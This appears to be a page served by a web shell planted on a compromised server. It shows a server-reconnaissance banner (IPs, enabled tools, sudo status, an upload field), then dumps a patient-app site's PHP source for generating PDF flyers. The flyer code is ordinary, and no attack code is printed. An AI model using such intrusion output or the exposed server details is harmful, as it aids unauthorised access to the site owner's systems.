Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_beta/api/.api/ |
Upload File : |
<?php
use Jenssegers\ImageHash\ImageHash;
use Jenssegers\ImageHash\Implementations\DifferenceHash;
// Download a PDF flyer that has been patched to show info about current procedure
// https://tcpdf.org/
// needs php-gd (& php-imagick?)
// when creating PNG file:
// * No color profile <<<<!!
// * (no need for exif, thumbnail, resolution, etc)
$param = [
'product' => str_replace(['/', '..', '<', '>', '&', '|'], '', strtolower(trim($_REQUEST['product']))),
];
$debug = isset($_GET['debug']) ? $_GET['debug'] : '';
$debug = $debug == 'whatsup';
global $docroot, $MACRO, $FONTS;
$docroot = realpath(__DIR__ . '/../..');
$MACRO = '';
$FONTS = [];
$TEXTS = [];
require $docroot . '/vendor/autoload.php';
require_once $docroot . '/include/class.pdfstuff.php';
header('Content-type: text/plain');
$source = $docroot . '/.download/' . $param['product'];
if (!file_exists($source . '.json')) {
die('No such product');
}
$json = json_decode(file_get_contents($source . '.json'), TRUE);
$definition = base64_decode($json['data.json']);
$definition = json_decode($definition, TRUE);
// Load item from database - use this to work out if it is a trial
$isTrial = _checkTrialVersion($db, $param['product']);
//$isTrial = !$debug;
// use Trial PDF Template if it is
// otherwise use physican template (our contact info is missing)
// Load Text for requested item
$data = [
'product' => $definition['splash']['short'],
'subheader' => $definition['splash']['subheader'],
'expire' => isset($definition['expiry']) ? $definition['expiry'] : 0,
'quick' => $param['product'],
'blurb' => _processText(locateBlurb($definition['content'])),
];
$data['expire'] = date('M d, Y', $data['expire']);
// prepare pdf
// this misses: logo, border, icons
$stuff = new pdfstuff;
$stuff->Debug($debug);
if ($isTrial) {
$stuff->Filename($docroot . '/static/patientapp-trial-cd12.pdf');
} else {
$stuff->Filename($docroot . '/static/patientapp-flyer-cd12.pdf');
}
$stuff->Parse();
//define ('PDF_PAGE_ORIENTATION', 'P'); // (P=portrait, L=landscape).
//define ('PDF_UNIT', 'mm'); // Document unit of measure [pt=point, mm=millimeter, cm=centimeter, in=inch].
// create new PDF document
$pdf = new TCPDF('P', 'pt', 'Letter', TRUE, 'UTF-8', FALSE); //unicode, no cache
// set document information
$pdf->SetAuthor('PatientApps.com');
if ($isTrial) {
$pdf->SetTitle('PatientApps Sample Flyer');
} else {
$pdf->SetTitle('PatientApps PeriOp-eCare');
}
$pdf->setJPEGQuality(90);
$pdf->setMargins(0, 0, 0, 0);
$pdf->setImageScale(1);
$pdf->SetAutoPageBreak(FALSE, 0); // so images will be scaled correctly
$root = $stuff->getRoot();
$pdf->x_data = $data;
process($pdf, $stuff->getDirectory(), $root);
// add the missing items
// Logo - since it's a PNG file, see special notes at top of this file
draw($pdf, 'patient-apps-logo.png', _scaleX(520), _scaleY(43), _scaleX(340));
if ($isTrial) {
// Icons
draw($pdf, 'envelope-open-text-solid.png', _scaleX(82), _scaleY(1050), _scaleX(36));
draw($pdf, 'phone-square-alt-solid.png', _scaleX(82), _scaleY(1090), _scaleX(36));
}
// Border
$pdf->setDrawColor(247, 194, 0);
$pdf->SetLineStyle(['width' => 4]);
$pdf->Rect(_scaleX(22), _scaleY(22), _scaleX(871), _scaleY(1152));
$y = $TEXTS['product']['y'];
$TEXTS['blurb']['top'] = $y + _scaleY(20);
if (isset($TEXTS['qrcode'])) generateQRCode($pdf, $TEXTS['qrcode'], 'https://myapp.care/' . $data['quick']);
draw($pdf, 'background.png', $TEXTS['blurb']['left'] - 5, $TEXTS['blurb']['top'] - 5, _scaleY(515) + 10, $TEXTS['blurb']['ht']);
DrawSavedText($pdf, $TEXTS['product']);
DrawSavedText($pdf, $TEXTS['blurb']);
if ($debug) {
die('breakpoint');
}
// hide Notices
$pdf->Output('flyer.pdf', 'I'); // to stdout
unset($stuff);
exit;
function _processText($text) {
$text = strip_tags($text);
$elements = explode("\n\n", $text);
$text = '';
while(count($elements)) {
$c = strlen($text);
$line = array_shift($elements);
if (strpos($line, 'This app is intended') !== FALSE) continue;
if (strlen($line) + $c > 1200) break;
$text .= $line . "\n\n";
}
return $text;
}
function generateQRCode($pdf, $node, $text) {
$style = array(
'border' => 0,
'padding' => 3,
'fgcolor' => [23, 145, 197],
// 'bgcolor' => [255,255,255],
'bgcolor' => [214, 222, 235],
);
// QRCODE,H : QR-CODE Best error correction
$pdf->write2DBarcode($text, 'QRCODE,H', _scaleX($node['left']), _scaleY($node['top']), (int)_scaleX($node['width']), (int)_scaleY($node['height']), $style, '', TRUE);
//?? https://stackoverflow.com/questions/28364946/link-on-image-in-pdf-using-tcpdf
}
function locateBlurb($content) {
foreach($content as $item) {
if ($item['type'] == 'subheader') {
if ($item['title'] == 'Our Patients' || $item['icon'] == 'patient') {
return asBlurb($item['children']);
}
}
}
return '';
}
function asBlurb($children) {
foreach($children as $child) {
if ($child['type'] == 'block') {
$text = $child['text'];
return str_replace(['<p>', '<br>'], ["\n\n", "\n"], $text);
}
}
return '';
}
function draw($pdf, $filename, $x, $y, $wd, $ht = 0) {
global $docroot;
$pdf->Image($docroot . '/static/' . $filename, $x, $y, $wd, $ht, '', '', '', TRUE, 300, '', FALSE, FALSE, 0, FALSE);
}
function _distance($hash1, $hash2) {
$hash1 = \Jenssegers\ImageHash\Hash::fromHex($hash1);
$hash2 = \Jenssegers\ImageHash\Hash::fromHex($hash2);
return $hash1->distance($hash2);
}
function process(&$pdf, $sourcedir, $node) {
global $TEXTS, $debug;
$param = $node->Attr();
switch($node->Name()) {
case '': // root
case 'pdf2xml':
break;
case 'outline':
return; // not needed, or children
case 'page':
$pdf->AddPage();
break;
case 'fontspec':
setFont($node->Attr());
break;
case 'image':
$ratio = intval($param['width'] / $param['height'] * 100);
if ($ratio > 330 && $ratio < 341) {
$link = '';
$result = _analyze_image($sourcedir, $param);
if (_distance($result, '805555564b494b88') < 5) {
// $link = 'https://apps.apple.com/us/app/patients-guide-to-a-procedure/id1489344755';
} elseif (_distance($result, 'c08c4c5345c5c484') < 5) {
$link = 'https://www.myapp.care/android';
}
addImage($pdf, $sourcedir, $param, $link);
} elseif ($ratio > 95 && $ratio < 105) {
$TEXTS['qrcode'] = $param;
} else {
addImage($pdf, $sourcedir, $param);
}
break;
case 'b': // bold
break;
case 'text':
$param['bold'] = 0;
addText($pdf, $param, $node->Text());
break;
// default:
// echo "Unknown: " . $node->Name() . "\n";
// var_dump($node->Attr());
}
$children = $node->Children();
foreach($children as $child) {
if ($child->Name() == 'b') {
$param['bold'] = 1;
addText($pdf, $param, $child->Text());
} else {
process($pdf, $sourcedir, $child);
}
}
}
function _analyze_image($sourcedir, $param) {
$filename = $sourcedir . '/' . $param['src'];
$hasher = new ImageHash(new DifferenceHash());
$hash = $hasher->hash($filename);
return $hash->toHex();
}
function hex2rgb( $colour ) {
if ( $colour[0] == '#' ) {
$colour = substr( $colour, 1 );
}
if ( strlen( $colour ) == 6 ) {
list( $r, $g, $b ) = array( $colour[0] . $colour[1], $colour[2] . $colour[3], $colour[4] . $colour[5] );
} elseif ( strlen( $colour ) == 3 ) {
list( $r, $g, $b ) = array( $colour[0] . $colour[0], $colour[1] . $colour[1], $colour[2] . $colour[2] );
} else {
return false;
}
return [ 'r' => hexdec($r), 'g' => hexdec($g), 'b' => hexdec($b) ];
}
function _replaceMacros($text, $data) {
global $MACRO;
$MACRO = '';
return preg_replace_callback('~\{\{(.*)\}\}~', function($match) use ($data) {
global $MACRO;
$MACRO = $key = $match[1];
if (!isset($data[$key])) return '';
$text = $data[$key];
return $text;
}, $text);
}
// Store the text, to be drawn later
function ParseText(&$pdf, $param) {
global $TEXTS;
$node = $param;
$node['left'] = _scaleX($param['left']);
$node['top'] = _scaleX($param['top']);
$pdf->SetFont('helvetica' /*$font['family'] (times) */, $node['bold'] ? 'B' : '', $node['size']);
$pdf->setMargins($node['left'], 0, $node['right'], 0);
$pdf->startTransaction();
$start_y = $pdf->GetY();
$pdf->Write($node['height'], $node['text'] . "\n", '', 0, '', false, 0, false, false, 0);
$node['y'] = $pdf->GetY();
$node['ht'] = ($node['y'] - $start_y) * 1.09;
$pdf = $pdf->rollbackTransaction();
return $node;
}
function DrawSavedText(&$pdf, $node, $set_margin = TRUE) {
if ($set_margin) $pdf->setMargins($node['left'], 0, $node['right'], 0);
$pdf->SetXY( $node['left'], $node['top'] );
$pdf->SetFont('helvetica' /*$font['family'] (times) */, $node['bold'] ? 'B' : '', $node['size']);
$pdf->SetTextColor($node['col']['r'], $node['col']['g'], $node['col']['b']);
$pdf->Write($node['height'], $node['text'], '', 0, '', false, 0, false, false, 0);
return $node['y'];
}
function addText(&$pdf, $param, $text) {
global $FONTS, $MACRO, $TEXTS;
$param['text'] = _replaceMacros($text, $pdf->x_data);
$font = $FONTS[$param['font']];
$param['col'] = hex2rgb($font['color']);
$param['size'] = $font['size'] * 0.72;
$param['right'] = 0;
$link = '';
// change margins to words will wrap correctly
switch($MACRO) {
case 'blurb':
$param['right'] = _scaleX(300);
$TEXTS[$MACRO] = ParseText($pdf, $param);
return;
case 'product':
$param['right'] = _scaleX($param['left']);
$TEXTS[$MACRO] = ParseText($pdf, $param);
return;
case 'quick':
$link = $param['text'];
break;
}
//$node = ParseText($pdf, $param);
$pdf->setMargins(0, 0, 0, 0); // default margin
// DrawSavedText($pdf, $node, FALSE);
$top = _scaleY($param['top']);
$left = _scaleX($param['left']);
$pdf->SetXY( $left, $top );
$pdf->SetFont('helvetica' /*$font['family'] (times) */, $param['bold'] ? 'B' : '', $param['size']);
$pdf->SetTextColor($param['col']['r'], $param['col']['g'], $param['col']['b']);
$pdf->Write($param['height'], $param['text'], $link, 0, '', false, 0, false, false, 0);
}
function setFont($param) {
global $FONTS;
$FONTS[$param['id']] = $param;
}
function addImage($pdf, $sourcedir, $param, $link = '') {
// https://stackoverflow.com/questions/44061583/what-are-the-parameter-of-the-image-in-tcpdf
// https://stackoverflow.com/questions/8135975/why-is-tcpdf-image-smaller-than-it-should-be
$pdf->Image($sourcedir . '/' . $param['src'], _scaleX($param['left']), _scaleY($param['top']), _scaleX($param['width']), _scaleY($param['height']),
'', $link, '', TRUE, 300, '', FALSE, FALSE, 0, FALSE);
}
function _scaleY($val) {
$val = (int) $val;
return $val * 0.706;
}
function _scaleX($val) {
$val = (int) $val;
return $val * 0.65; // 0.65, too large
}
function _checkTrialVersion($db, $shortcut) {
$data = $db->lookup('select * from `shortlink` where sl_short=%s', $shortcut);
if (!$data['__existing']) return TRUE; // missing
return stripos($data['sl_desc'], 'trial') !== FALSE;
}